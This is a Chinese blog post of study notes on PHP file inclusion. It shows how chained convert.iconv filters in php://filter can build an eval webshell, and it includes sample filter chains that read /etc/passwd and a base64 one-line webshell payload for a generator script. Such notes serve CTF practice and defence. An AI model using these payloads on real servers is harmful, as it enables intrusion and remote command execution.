iconv文件包含

convert.iconv filter学习

使用php://filter将任意文件转换成Webshell

前提:include可控,支持php://filter伪协议和convert.iconv

(1)一些常见的过滤器就不在这里提起了,这里主要是利用各种convert.iconv的 Filter来转换字符集,从而将其转换成webshell

在php中,任何的 string 如果被允许了,就一定会在最前面回显,这将方便我们来利用这些字符

例如:

php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/passwd

convert.iconv.UTF8.CSISO2022KR` 是个特殊的filter,它总是会在字符串前面生成 \x1b$)C

(2)利用base64“宽松的解析”可以使我们提取出一些常见的字符(在base64 filter中,只有A-Za-z0-9\/\=\+是能被接受,其他不被接受的字符就会自动被忽略),例如:

<?php
$a = "\x1b$)cq==";             
var_dump(base64_decode($a));
//cq 为 r 的 base64 编码
// string(1) "r"

需要注意的是Windows下没有CSISO2022KR这一编码

而通过各种convert.iconv的组合搭配可以构造产生自己想要的内容

例如:iconv -l

一、比如字符8,我们可以使用convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成

var_dump(file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=data://,aaaaaaaaaaaaaaaa"));

二、上面的data://,aaaaaaaaaaaaaaaa的aaaaaaaaaaaaaaaa就是所包含文件的内容

效果和下面一样(1.php的内容是aaaaaaaaaaaaaaaa)

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=1.php

之后我们就可以根据文本内容慢慢fuzz出我们想要的字符串了,当构造出一句话木马时,就可以将其包含进去,再传对应的参去执行命令就可以了

(1)那问题来了,万一可包含的文件内容是空的怎么办,没有字符让我们利用了吗?

别忘了开头所说的convert.iconv.UTF8.CSISO2022KR ,它总是会在字符串前面生成 \x1b$)C,相当于白给了我们这些字符\x1b$)C

所以只要它支持convert.iconv.UTF8.CSISO2022KR,即便文件内容为空,我们也可以构造出webshell出来

由于一些字符编码长度原因,可能会吞掉了一些字符,但这影响不大,因为前面的才是我们所要构造的字符

如何fuzz出webshell的字符串?

工具:PHP_INCLUDE_TO_SHELL_CHAR_DICT

tets.py:

file_to_use = "/etc/passwd"       //"/etc/passwd"改成实际环境中可以包含的文件

# <?php eval($_GET[1]);?>a  
base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h"   //这里就是你包含的内容的base64编码
其他的不用管

然后运行就能生成payload了

那它生成的paylaod包含环境不支持的编码方式,就需要自己去fuzzer.php文件fuzz出自己的payload了

某些字符集在某些系统并不支持,比如Ubuntu18.04,幸运的是,php官方带apache的镜像是Debain,运行上面的脚本没有任何问题

posted @ 2026-06-18 13:00  Doll_Marker  阅读(7)  评论(0)    收藏  举报